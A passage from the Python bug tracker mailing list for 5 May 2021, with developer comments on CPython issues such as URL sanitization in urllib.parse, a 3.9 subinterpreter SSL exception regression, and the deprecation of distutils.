a_size) * MOVE_COST > max_cost) { return max_cost + 1 ---------- messages: 393006 nosy: corona10, pablogsal, vstinner priority: normal severity: normal status: open title: Use C99 Variable-length array if possible type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 08:20:20 2021 From: report at bugs.python.org (=?utf-8?b?R8Opcnk=?=) Date: Wed, 05 May 2021 12:20:20 +0000 Subject: [issue44024] Improve the TypeError message for non-string second arguments passed to the built-in functions getattr and hasattr In-Reply-To: <1620082244.42.0.641033791104.issue44024@roundup.psfhosted.org> Message-ID: <1620217220.27.0.932377265379.issue44024@roundup.psfhosted.org> Change by G?ry : ---------- title: Improve the error message for non-string second arguments passed to the built-in functions getattr and hasattr -> Improve the TypeError message for non-string second arguments passed to the built-in functions getattr and hasattr _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 08:59:10 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 05 May 2021 12:59:10 +0000 Subject: [issue44049] Use C99 Variable-length array if possible In-Reply-To: <1620216658.8.0.390756797773.issue44049@roundup.psfhosted.org> Message-ID: <1620219550.64.0.62953589531.issue44049@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Thanks for the suggestion! Unfortunately I am not very convinced since we already have the self imposed limitation for the maximum size of the string (this is to limit the execution time and memory) so there is no point of allowing bigger buffers. Also consider that this may happen on threads where the stack is much much smaller, so we cannot allow arbitrary length arrays. Also, on a minor note, we use a restricted set of c99 supported by all compilers so we would need to check if this is supported in all of them. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 09:31:31 2021 From: report at bugs.python.org (Dong-hee Na) Date: Wed, 05 May 2021 13:31:31 +0000 Subject: [issue44049] Use C99 Variable-length array if possible In-Reply-To: <1620216658.8.0.390756797773.issue44049@roundup.psfhosted.org> Message-ID: <1620221491.02.0.18346129621.issue44049@roundup.psfhosted.org> Dong-hee Na added the comment: > Also, on a minor note, we use a restricted set of c99 supported by all compilers so we would need to check if this is supported in all of them Ah, I notice that msvc does not support VLA (Sorry, I am not using Windows machine for 5 years +) Using a C99/C11 features looks like a long future :( ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 09:31:56 2021 From: report at bugs.python.org (Dong-hee Na) Date: Wed, 05 May 2021 13:31:56 +0000 Subject: [issue44049] Use C99 Variable-length array if possible In-Reply-To: <1620216658.8.0.390756797773.issue44049@roundup.psfhosted.org> Message-ID: <1620221516.62.0.415577865995.issue44049@roundup.psfhosted.org> Change by Dong-hee Na : ---------- resolution: -> wont fix _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 09:36:38 2021 From: report at bugs.python.org (Dong-hee Na) Date: Wed, 05 May 2021 13:36:38 +0000 Subject: [issue44049] Use C99 Variable-length array if possible In-Reply-To: <1620216658.8.0.390756797773.issue44049@roundup.psfhosted.org> Message-ID: <1620221798.61.0.932367728536.issue44049@roundup.psfhosted.org> Change by Dong-hee Na : ---------- stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 09:52:08 2021 From: report at bugs.python.org (Florian Apolloner) Date: Wed, 05 May 2021 13:52:08 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1620222728.68.0.973893151621.issue43882@roundup.psfhosted.org> Florian Apolloner added the comment: Thank you for the kind words Micha?. We (Django) are exactly in the position that you describe. Our validation, at least for now has to stay strict, exactly to prevent fallout further down the road (see https://github.com/django/django/pull/14349#pullrequestreview-652022529 for details). Sure, we might have been a bit naive when relying on urllib.parse for parts of our validation routines, but this is why we have tests for this behavior. We can easily work around this fix and will issue a release shortly to prevent security issues for users on newer Python versions. But no matter how the Python code ends up in the long run, our validator (at least this specific class) cannot simply accept new URLs because a spec changed. We owe it to our users to keep in mind that relaxing the validation can cause other issues down the road. ---------- nosy: +apollo13 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 10:10:37 2021 From: report at bugs.python.org (Anthony Sottile) Date: Wed, 05 May 2021 14:10:37 +0000 Subject: [issue44043] 3.10 b1 armhf Bus Error in hashlib test: test_gil In-Reply-To: <1620192685.97.0.632681008338.issue44043@roundup.psfhosted.org> Message-ID: <1620223837.86.0.562207360381.issue44043@roundup.psfhosted.org> Anthony Sottile added the comment: oddly enough, when I add `-X faulthandler` it passes ___ I did some research on the error message and it looks like the ubuntu maintainers have found the same thing and reported it here: https://bugs.python.org/issue36445 this points at (intentional?) misaligned accesses being a problem on arm looks like they've provided a patch as well here: https://bugs.python.org/issue36515 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 10:13:53 2021 From: report at bugs.python.org (Batuhan Taskaya) Date: Wed, 05 May 2021 14:13:53 +0000 Subject: [issue43950] Include column offsets for bytecode instructions In-Reply-To: <1619521118.33.0.233805842394.issue43950@roundup.psfhosted.org> Message-ID: <1620224033.44.0.976266841209.issue43950@roundup.psfhosted.org> Change by Batuhan Taskaya : ---------- nosy: +BTaskaya _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 10:22:11 2021 From: report at bugs.python.org (Trygve Aaberge) Date: Wed, 05 May 2021 14:22:11 +0000 Subject: [issue44050] Exceptions in a subinterpreter are changed by another subinterpreter Message-ID: <1620224531.72.0.42100874633.issue44050@roundup.psfhosted.org> New submission from Trygve Aaberge : This issue is a regression in Python 3.9. It was recently fixed in main/3.10, but I'm opening this issue to request that it is fixed in 3.9 as well since it breaks certain Python scripts running in WeeChat. I have a C application which is using the Python/C API and is running multiple python subinterpreters. One of those subinterpreters is running a script which is reading data from a non-blocking ssl socket. When there is no more data to read, trying to read throws `ssl.SSLWantReadError` which is handled by the script. However, if a script in another subinterpreter imports _ssl, the SSLWantReadError exceptions thrown in the first script now have a different class instance, so they are not catched anymore. This is a regression in 3.9. It didn't happen in 3.8. The commit that introduced the issue is https://github.com/python/cpython/commit/82c83bd907409c287a5bd0d0f4598f2c0538f34d The commit that fixes the issue in 3.10 is https://github.com/python/cpython/commit/7f1305ef9ea7234e1a5aacbea17490232e9b7dc2 I have attached a C program to reproduce the issue. It seems I can only attach one file per comment, so the python script that program runs will follow in the next commit. It connects to an ssl socket, so you need to have that running first. That can be started by running this: ``` openssl req -x509 -nodes -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -subj '/' openssl s_server -key key.pem -cert cert.pem -accept 1234 ``` The script will output this when the issue is not present (so in 3.8 and main): ``` no data no data ``` And this when the issue is present (in 3.9): ``` no dataunknown error: The operation did not complete (read) (_ssl.c:2627) exception name: SSLWantReadError SSLWantReadError id: 93893206532320 exception id: 93893207118800 ``` ---------- components: Subinterpreters files: interpreter.c messages: 393011 nosy: trygveaa priority: normal severity: normal status: open title: Exceptions in a subinterpreter are changed by another subinterpreter type: behavior versions: Python 3.9 Added file: https://bugs.python.org/file50015/interpreter.c _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 10:22:52 2021 From: report at bugs.python.org (Trygve Aaberge) Date: Wed, 05 May 2021 14:22:52 +0000 Subject: [issue44050] Exceptions in a subinterpreter are changed by another subinterpreter In-Reply-To: <1620224531.72.0.42100874633.issue44050@roundup.psfhosted.org> Message-ID: <1620224572.93.0.245682784304.issue44050@roundup.psfhosted.org> Trygve Aaberge added the comment: Here is the Python script that the C program to reproduce the issue runs. ---------- Added file: https://bugs.python.org/file50016/subinterpreter_ssl_issue.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 10:31:26 2021 From: report at bugs.python.org (Trygve Aaberge) Date: Wed, 05 May 2021 14:31:26 +0000 Subject: [issue44050] Exceptions in a subinterpreter are changed by another subinterpreter In-Reply-To: <1620224531.72.0.42100874633.issue44050@roundup.psfhosted.org> Message-ID: <1620225086.41.0.681967930246.issue44050@roundup.psfhosted.org> Trygve Aaberge added the comment: And here are the bug reports for two Python scripts that are affected by this issue: https://github.com/wee-slack/wee-slack/issues/812 https://github.com/poljar/weechat-matrix/issues/248 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 10:51:04 2021 From: report at bugs.python.org (Ken Jin) Date: Wed, 05 May 2021 14:51:04 +0000 Subject: [issue44050] Exceptions in a subinterpreter are changed by another subinterpreter In-Reply-To: <1620224531.72.0.42100874633.issue44050@roundup.psfhosted.org> Message-ID: <1620226264.16.0.472746310721.issue44050@roundup.psfhosted.org> Change by Ken Jin : ---------- keywords: +3.9regression nosy: +christian.heimes, lukasz.langa, vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 10:52:49 2021 From: report at bugs.python.org (Andre Roberge) Date: Wed, 05 May 2021 14:52:49 +0000 Subject: [issue44026] IDLE: print "Did you mean?" for AttributeError and NameError In-Reply-To: <1620100153.12.0.0610630675338.issue44026@roundup.psfhosted.org> Message-ID: <1620226369.6.0.983808689431.issue44026@roundup.psfhosted.org> Change by Andre Roberge : ---------- nosy: +aroberge _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 11:02:09 2021 From: report at bugs.python.org (Brad Larsen) Date: Wed, 05 May 2021 15:02:09 +0000 Subject: [issue44039] Duplicated assignment in Modules/_randommodule.c In-Reply-To: <1620161161.27.0.458428568695.issue44039@roundup.psfhosted.org> Message-ID: <1620226929.68.0.11998180874.issue44039@roundup.psfhosted.org> Brad Larsen added the comment: > Just curious, how did you find this? I am working on some new CodeQL queries (https://securitylab.github.com/tools/codeql/) and saw a warning about this self-assignment from one of the existing queries. LGTM apparently regularly scans cpython: https://lgtm.com/projects/g/python/cpython Thanks for the quick review. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 11:24:24 2021 From: report at bugs.python.org (Ken Jin) Date: Wed, 05 May 2021 15:24:24 +0000 Subject: [issue43977] Implement the latest semantics for PEP 634 for matching collections In-Reply-To: <1619714021.85.0.37223153861.issue43977@roundup.psfhosted.org> Message-ID: <1620228264.06.0.521535861202.issue43977@roundup.psfhosted.org> Change by Ken Jin : ---------- nosy: +kj nosy_count: 2.0 -> 3.0 pull_requests: +24586 pull_request: https://github.com/python/cpython/pull/25917 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 11:48:26 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Wed, 05 May 2021 15:48:26 +0000 Subject: [issue44048] test_hashlib failure for "AMD64 RHEL8 FIPS Only Blake2 Builtin Hash" buildbot In-Reply-To: <1620212963.3.0.83252428059.issue44048@roundup.psfhosted.org> Message-ID: <1620229706.9.0.749339027755.issue44048@roundup.psfhosted.org> Shreyan Avigyan added the comment: The errors are occurring because the code before these commits checked whether those algorithms were present or not. If an algorithm was not present it was not tested. The new code doesn't check and therefore if even one of the algorithm modules are not present raises an error. ---------- nosy: +shreyanavigyan _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 11:51:20 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 05 May 2021 15:51:20 +0000 Subject: [issue44043] 3.10 b1 armhf Bus Error in hashlib test: test_gil In-Reply-To: <1620192685.97.0.632681008338.issue44043@roundup.psfhosted.org> Message-ID: <1620229880.61.0.560664852677.issue44043@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Christian, could you look into that patch? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 11:52:41 2021 From: report at bugs.python.org (=?utf-8?q?Ionel_Cristian_M=C4=83rie=C8=99?=) Date: Wed, 05 May 2021 15:52:41 +0000 Subject: [issue41282] Deprecate and remove distutils In-Reply-To: <1594542625.3.0.789939298104.issue41282@roundup.psfhosted.org> Message-ID: <1620229961.64.0.245987111644.issue41282@roundup.psfhosted.org> Ionel Cristian M?rie? added the comment: Hello everyone, How are we supposed to use get_python_lib now (a function that returned the site-packages location)? `from setuptools._distutils.sysconfig import get_python_lib` doesn't really seem like the right solution and the sysconfig stdlib module doesn't have any get_python_lib function. ---------- nosy: +ionelmc _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 11:58:23 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Wed, 05 May 2021 15:58:23 +0000 Subject: [issue41282] Deprecate and remove distutils In-Reply-To: <1594542625.3.0.789939298104.issue41282@roundup.psfhosted.org> Message-ID: <1620230303.02.0.248852657731.issue41282@roundup.psfhosted.org> Filipe La?ns added the comment: I believe sysconfig.get_path('purelib') and sysconfig.get_path('platlib') should work for you. > sysconfig.get_path('purelib') /usr/lib/python3.9/site-packages > sysconfig.get_path('platlib') /usr/lib/python3.9/site-packages (here it's the same path, but it is not guaranteed to be) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 12:04:21 2021 From: report at bugs.python.org (baptistecrepin) Date: Wed, 05 May 2021 16:04:21 +0000 Subject: [issue44051] Virtualalloc wrong return type Message-ID: <1620230661.56.0.17301219243.issue44051@roundup.psfhosted.org> Change by baptistecrepin : ---------- components: Windows nosy: baptistecrepin, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: Virtualalloc wrong return type type: behavior versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 12:06:52 2021 From: report at bugs.python.org (baptistecrepin) Date: Wed, 05 May 2021 16:06:52 +0000 Subject: [issue44051] Virtualalloc wrong return type Message-ID: <1620230812.01.0.281196381617.issue44051@roundup.psfhosted.org> New submission from baptistecrepin : The ctypes.windll.kernel32.VirtuAlloc function return by default a ctypes.c_long but on 64bits systems memory addresses can be higher so it should be a ctypes.c_uint64 or ctypes.c_void_p. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 12:10:10 2021 From: report at bugs.python.org (=?utf-8?q?Ionel_Cristian_M=C4=83rie=C8=99?=) Date: Wed, 05 May 2021 16:10:10 +0000 Subject: [issue41282] Deprecate and remove distutils In-Reply-To: <1594542625.3.0.789939298104.issue41282@roundup.psfhosted.org> Message-ID: <1620231010.59.0.402489517874.issue41282@roundup.psfhosted.org> Ionel Cristian M?rie? added the comment: That seems fine, tho for some of distros that do lots of python customizations (tried the docker ubuntu image for 18.04.3) it get a bit strange: Python 3.6.9 (default, Jan 26 2021, 15:33:00) [GCC 8.4.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> import sysconfig >>> import distutils.sysconfig >>> sysconfig.get_path('platlib') '/usr/lib/python3.6/site-packages' >>> sysconfig.get_path('purelib') '/usr/lib/python3.6/site-packages' >>> distutils.sysconfig.get_python_lib() '/usr/lib/python3/dist-packages' ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 12:20:59 2021 From: report at bugs.python.org (Dong-hee Na) Date: Wed, 05 May 2021 16:20:59 +0000 Subject: [issue44017] Deprecation warning in tests over no current event loop In-Reply-To: <1620029847.4.0.278202902398.issue44017@roundup.psfhosted.org> Message-ID: <1620231659.61.0.00892500535225.issue44017@roundup.psfhosted.org> Change by Dong-hee Na : ---------- keywords: +patch nosy: +corona10 nosy_count: 5.0 -> 6.0 pull_requests: +24587 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25918 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 12:32:03 2021 From: report at bugs.python.org (Dong-hee Na) Date: Wed, 05 May 2021 16:32:03 +0000 Subject: [issue44017] Deprecation warning in tests over no current event loop In-Reply-To: <1620029847.4.0.278202902398.issue44017@roundup.psfhosted.org> Message-ID: <1620232323.12.0.0971099891213.issue44017@roundup.psfhosted.org> Change by Dong-hee Na : ---------- versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 12:32:35 2021 From: report at bugs.python.org (Petr Viktorin) Date: Wed, 05 May 2021 16:32:35 +0000 Subject: [issue43795] Implement PEP 652 -- Maintaining the Stable ABI In-Reply-To: <1617983030.95.0.501839301811.issue43795@roundup.psfhosted.org> Message-ID: <1620232355.05.0.564256037374.issue43795@roundup.psfhosted.org> Change by Petr Viktorin : ---------- pull_requests: +24588 pull_request: https://github.com/python/cpython/pull/25920 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 12:34:15 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Wed, 05 May 2021 16:34:15 +0000 Subject: [issue41282] Deprecate and remove distutils In-Reply-To: <1594542625.3.0.789939298104.issue41282@roundup.psfhosted.org> Message-ID: <1620232455.39.0.801485184463.issue41282@roundup.psfhosted.org> Filipe La?ns added the comment: If you are relying on the value of distutils.sysconfig.get_python_lib() as you shown in your system, you probably don't want to. That directory (dist-packages) should be for Debian provided packages only, so moving to sysconfig.get_path() would be a good thing, as it has the correct value for user installed packages on your system. But anyway, there have been introduced mechanisms that should allow distros to deal with these issues. The goal is to make it so that distros can officially customize such details and not have to rely on heavy patching. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 12:35:34 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Wed, 05 May 2021 16:35:34 +0000 Subject: [issue43976] Allow Python distributors to add custom site install schemes In-Reply-To: <1619713142.43.0.43081473036.issue43976@roundup.psfhosted.org> Message-ID: <1620232534.9.0.677209797918.issue43976@roundup.psfhosted.org> Filipe La?ns added the comment: We cannot change how `sudo pip install` fundamentally works because there are too many people depending on it, and even if we could, this is not the place :P I think we went a little off-topic here, so let's get back to the discussion. > The best option for restricting the import while still having it be a Python import is to find the file (if it's present in the expected location under sys.whatever), and then use importlib to import it: https://docs.python.org/3/library/importlib.html#importing-a-source-file-directly Right, though that requires also a new import, importlib, which may not be optimal. Considering that this module is meant to be private and basically all other private importable parts of Python suffer from the same issue, I am finding it hard to justify. If there's enough consensus that this approach would be better, I am more than happy to change the implementation. > I'd rather not have a new option here, I would much prefer "-S" in this context to mean "run Python with only core libraries" and "-s" to mean "run Python with only core and distro libraries" (and neither to mean "run Python with core, distro and user libraries"). I don't think having an option to start Python with only the vendor modules would be *necessary*, though it would certainly be helpful. Among other things, it would be super helpful to be able to tell users to run Python with the -D (made up) option to isolate issues with the vendor modules and the user Python environment. > That may be a bigger change, but there's enough angst around this issue that we would be better off getting it right this time, even if it changes things, than continuing to preserve the system that people dislike so much. This may be completely wrong for other people, but is my understanding. AFAIK those these issues come from lack of separation between the distro, system and user environments, causing a hell of conflicts and silent module shadowing that neither the system package manager or pip can fix. Almost every time I help people with Python I have to tell them to use a virtual env, which most people aren't expecting, and would likely run into issues had I not suggested it. Considering that, I think this approach, including the CLI option, would be a step forward. How big would that step be, I am not sure, but probably not *that* big. But yeah, this is, of course, my experience, and that can vary for other people, so there may be different perspectives here. So I'd very much like to hear other people on this. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 12:41:00 2021 From: report at bugs.python.org (=?utf-8?q?Ionel_Cristian_M=C4=83rie=C8=99?=) Date: Wed, 05 May 2021 16:41:00 +0000 Subject: [issue41282] Deprecate and remove distutils In-Reply-To: <1594542625.3.0.789939298104.issue41282@roundup.psfhosted.org> Message-ID: <1620232860.53.0.58022715693.issue41282@roundup.psfhosted.org> Ionel Cristian M?rie? added the comment: Alright so to get all the package paths, included distro-managed ones would be this right? for scheme in sysconfig.get_scheme_names(): for name in ['purelib', 'platlib']: sysconfig.get_path(name, scheme) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 13:00:32 2021 From: report at bugs.python.org (Senthil Kumaran) Date: Wed, 05 May 2021 17:00:32 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1620234032.47.0.33771263889.issue43882@roundup.psfhosted.org> Change by Senthil Kumaran : ---------- pull_requests: +24589 pull_request: https://github.com/python/cpython/pull/25921 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 13:08:06 2021 From: report at bugs.python.org (Paul) Date: Wed, 05 May 2021 17:08:06 +0000 Subject: [issue44046] When writing to the Registry using winreg, it currently allows you to write ONLY to HKEY_CURRENT_USERS. In-Reply-To: <1620199728.07.0.7391681228.issue44046@roundup.psfhosted.org> Message-ID: <1620234486.67.0.275541789715.issue44046@roundup.psfhosted.org> Paul added the comment: Clarification: User is a local admin on the machine, and UAC is disabled as well. I can also add, modify, and delete Registry entries in HKLM (or any other hive) by hand with no problem, so it is definitely not a permissions issue. I can also write, update, modify, etc. anything in HKLM using C# just fine, but NOT with winreg in Python. Note: Keep in mind that the exact same Registry write methods work as long as you are pointed to HKCU hive. However, if you point to HKLM and do not change anything else, winreg will throw a permissions error every time, no matter what combination of permission flags you specify. There is no reason why a user should be able to write to HKCU but not HKLM. Try it and you will experience the same. This is clearly a major bug and should be fixed. It severely limits developers from writing to other Registry hives. While HKCU is quite common to use, HKLM is the most common that developers use, especially when you don't want specific Registry keys to be accessible only to a specific user. You will be able to reproduce and see the problem if you try the two examples I provided. Have you tried the two code snippets I provided yet? Please do so, and confirm the outcome so that you are on the same page. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 13:25:37 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Wed, 05 May 2021 17:25:37 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1620235537.38.0.313695113878.issue43882@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset 515a7bc4e13645d0945b46a8e1d9102b918cd407 by Miss Islington (bot) in branch '3.8': [3.8] bpo-43882 - urllib.parse should sanitize urls containing ASCII newline and tabs. (GH-25595) (#25726) https://github.com/python/cpython/commit/515a7bc4e13645d0945b46a8e1d9102b918cd407 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 13:25:51 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 05 May 2021 17:25:51 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1620235551.49.0.23533400559.issue43882@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24591 pull_request: https://github.com/python/cpython/pull/25924 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 13:25:46 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 05 May 2021 17:25:46 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1620235546.15.0.439120454053.issue43882@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24590 pull_request: https://github.com/python/cpython/pull/25923 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 13:32:29 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 05 May 2021 17:32:29 +0000 Subject: [issue43795] Implement PEP 652 -- Maintaining the Stable ABI In-Reply-To: <1617983030.95.0.501839301811.issue43795@roundup.psfhosted.org> Message-ID: <1620235949.56.0.891481818059.issue43795@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 4.0 -> 5.0 pull_requests: +24592 pull_request: https://github.com/python/cpython/pull/25925 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 13:33:26 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 05 May 2021 17:33:26 +0000 Subject: [issue35753] Importing call from unittest.mock directly causes ValueError In-Reply-To: <1547669844.88.0.953853980523.issue35753@roundup.psfhosted.org> Message-ID: <1620236006.06.0.795356002301.issue35753@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 5.0 -> 6.0 pull_requests: +24593 pull_request: https://github.com/python/cpython/pull/25926 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 14:00:53 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Wed, 05 May 2021 18:00:53 +0000 Subject: [issue41282] Deprecate and remove distutils In-Reply-To: <1594542625.3.0.789939298104.issue41282@roundup.psfhosted.org> Message-ID: <1620237653.32.0.388494999595.issue41282@roundup.psfhosted.org> Filipe La?ns added the comment: That always depends on the way distros patch Python, though all the major distros I know will add their schemes to sysconfig, which works what that approach. But yeah, that is what you probably want to be doing :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 14:01:44 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Wed, 05 May 2021 18:01:44 +0000 Subject: [issue35753] Importing call from unittest.mock directly causes ValueError In-Reply-To: <1547669844.88.0.953853980523.issue35753@roundup.psfhosted.org> Message-ID: <1620237704.55.0.750475061359.issue35753@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset 10d6f6bfd749c0e7da51a96f53ca326c336f7a00 by Miss Islington (bot) in branch '3.10': bpo-35753: Fix crash in doctest with unwrap-able functions (GH-22981) (#25926) https://github.com/python/cpython/commit/10d6f6bfd749c0e7da51a96f53ca326c336f7a00 ---------- nosy: +lukasz.langa _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 14:02:39 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Wed, 05 May 2021 18:02:39 +0000 Subject: [issue35753] Importing call from unittest.mock directly causes ValueError In-Reply-To: <1547669844.88.0.953853980523.issue35753@roundup.psfhosted.org> Message-ID: <1620237759.9.0.780166258193.issue35753@roundup.psfhosted.org> ?ukasz Langa added the comment: Fixed in 3.10 and 3.11, thanks Albert for your patch. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 3.10, Python 3.11 -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 14:12:39 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 05 May 2021 18:12:39 +0000 Subject: [issue37903] IDLE Shell sidebar. In-Reply-To: <1566370033.98.0.615651298891.issue37903@roundup.psfhosted.org> Message-ID: <1620238359.07.0.112778520278.issue37903@roundup.psfhosted.org> Raymond Hettinger added the comment: Is it possible to add a Settings option under the General tab to switch between the sidebar mode and traditional mode? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 14:13:45 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Wed, 05 May 2021 18:13:45 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1620238425.79.0.641673296651.issue43882@roundup.psfhosted.org> Gregory P. Smith added the comment: Thanks Florian! Indeed, I'm glad you have tests for this. (I expect anyone writing their own validation code will have such tests) Making urlsplit raise an exception where it never has before has other consequences: In CPython's own test suite test_urllib fails as many of its tests for validation that these characters are either ignored or cause a specific http.client.InvalidURL error on urlopen() start failing. I draw no conclusions from that other than we'd need to rework some of those tests. It just reflects the state of our test suite and even inconsistent behavior between excluding the characters or erroring within the http.client code on them based on past CVEs. Regardless, if people would people prefer to see urlsplit `raise SomeExistingException(f'Invalid characters in URL or scheme. url={url!r} scheme={scheme!r}')` in 3.9.6 and the security patch releases for other 3.x versions, evidence that it wouldn't cause alternate problems would be helpful. I've kicked off tests at work on our huge codebase with both variants as a datapoint to see if that is informative or not. If we went the exception route: SomeExistingException might make sense as `http.client.InvalidURL`, but that'd be a circular dependency (no big deal) and heavyweight import for urllib.parse to have. `urllib.error.URLError` could also make sense, but that's an OSError descendant and identifies itself as a urlopen error which would be surprising. `ValueError` is a reasonable fallback. But using that guarantees someone will wonder why it isn't one of the other two... As this is a bugfix, defining a new exception isn't an option. We as a community currently lack a way for security patches to CPython to be tested against a broad swath of projects in advance of them appearing in a release. Once upon a time there were release candidates for patches releases that could serve this purpose... ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 14:15:33 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 05 May 2021 18:15:33 +0000 Subject: [issue43795] Implement PEP 652 -- Maintaining the Stable ABI In-Reply-To: <1617983030.95.0.501839301811.issue43795@roundup.psfhosted.org> Message-ID: <1620238533.85.0.098135071278.issue43795@roundup.psfhosted.org> miss-islington added the comment: New changeset 8f3ef457ad286e73f272dadec8b98d2ea3a6ec72 by Miss Islington (bot) in branch '3.10': bpo-43795: Mark PyCodec_Unregister as a function, not data, in stable ABI (GH-25920) https://github.com/python/cpython/commit/8f3ef457ad286e73f272dadec8b98d2ea3a6ec72 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 14:30:25 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Wed, 05 May 2021 18:30:25 +0000 Subject: [issue36515] unaligned memory access in the _sha3 extension In-Reply-To: <1554270079.02.0.655835284074.issue36515@roundup.psfhosted.org> Message-ID: <1620239425.85.0.559565100981.issue36515@roundup.psfhosted.org> Change by Gregory P. Smith : ---------- assignee: -> christian.heimes versions: +Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 14:32:59 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Wed, 05 May 2021 18:32:59 +0000 Subject: [issue36515] unaligned memory access in the _sha3 extension In-Reply-To: <1554270079.02.0.655835284074.issue36515@roundup.psfhosted.org> Message-ID: <1620239579.48.0.479084746027.issue36515@roundup.psfhosted.org> Gregory P. Smith added the comment: that patch looks fine, i'll turn it into a PR. ---------- assignee: christian.heimes 